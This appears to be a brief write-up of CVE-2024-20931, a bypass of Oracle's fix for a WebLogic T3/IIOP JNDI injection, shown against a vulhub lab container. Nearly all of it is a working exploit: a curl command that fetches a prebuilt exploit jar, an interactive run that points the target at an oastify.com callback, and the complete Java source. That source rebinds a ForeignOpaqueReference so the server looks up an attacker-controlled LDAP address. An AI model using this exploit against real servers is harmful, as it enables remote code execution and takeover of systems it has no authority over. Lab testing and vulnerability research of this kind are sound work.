WebLogic - CVE-2024-20931
Last updated
Last updated
CVE-2024-20931, is built to bypass the patch Oracle made for CVE-2023-21839. In other words, this is just another T3/IIOP exploit of WebLogic.
Project is based on the findings of GlassyAmadeus.
apt :: ~ » docker container ls
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
4c1bbd132119 vulhub/weblogic:12.2.1.3 "/u01/oracle/createA…" 2 days ago Up About an hour 0.0.0.0:7001->7001/tcp, :::7001->7001/tcp, 0.0.0.0:9002->9002/tcp, :::9002->9002/tcp weblogic-vulnhub-12213
[oracle@weblogic-vulnhub-12213 exp]$ curl -OL https://github.com/0xPThree/WebLogic/raw/refs/heads/main/cve-2024-20931/CVE-2024-20931.jar
[oracle@weblogic-vulnhub-12213 exp]$ java -jar CVE-2024-20931.jar
Please input target IP:127.0.0.1
Please input target port:7001
Please input RMI Address(ip:port/exp):4diumyg78d3drm2y405khl71xs3jraky9.oastify.com
// MainClass.java
import java.lang.reflect.Field;
import java.util.Hashtable;
import java.util.Scanner;
import javax.naming.InitialContext;
import javax.naming.NamingException;
import weblogic.deployment.jms.ForeignOpaqueReference;
public class MainClass {
public static void main(String[] args) throws NamingException, NoSuchFieldException, SecurityException, IllegalArgumentException, IllegalAccessException {
String JNDI_FACTORY = "weblogic.jndi.WLInitialContextFactory";
Scanner scanner = new Scanner(System.in);
System.out.print("Please input target IP:");
String tIp = scanner.nextLine();
System.out.print("Please input target port:");
String tPort = scanner.nextLine();
String url = "t3://" + tIp + ":" + tPort;
Hashtable<Object, Object> env1 = new Hashtable<>();
env1.put("java.naming.factory.initial", JNDI_FACTORY);
env1.put("java.naming.provider.url", url);
InitialContext c = new InitialContext(env1);
Hashtable<Object, Object> env2 = new Hashtable<>();
System.out.print("Please input RMI Address(ip:port/exp):");
String exp = scanner.nextLine();
env2.put("java.naming.factory.initial", "oracle.jms.AQjmsInitialContextFactory");
env2.put("datasource", "ldap://" + exp);
ForeignOpaqueReference f = new ForeignOpaqueReference();
Field jndiEnvironment = ForeignOpaqueReference.class.getDeclaredField("jndiEnvironment");
jndiEnvironment.setAccessible(true);
jndiEnvironment.set(f, env2);
Field remoteJNDIName = ForeignOpaqueReference.class.getDeclaredField("remoteJNDIName");
remoteJNDIName.setAccessible(true);
String ldap = "ldap://" + exp;
remoteJNDIName.set(f, ldap);
c.rebind("glassy", f);
try {
c.lookup("glassy");
} catch (Exception exception) {}
}
}
// META-INF/MANIFEST.MF
Manifest-Version: 1.0
Created-By: Maven JAR Plugin 3.3.0
Build-Jdk-Spec: 11
Main-Class: MainClass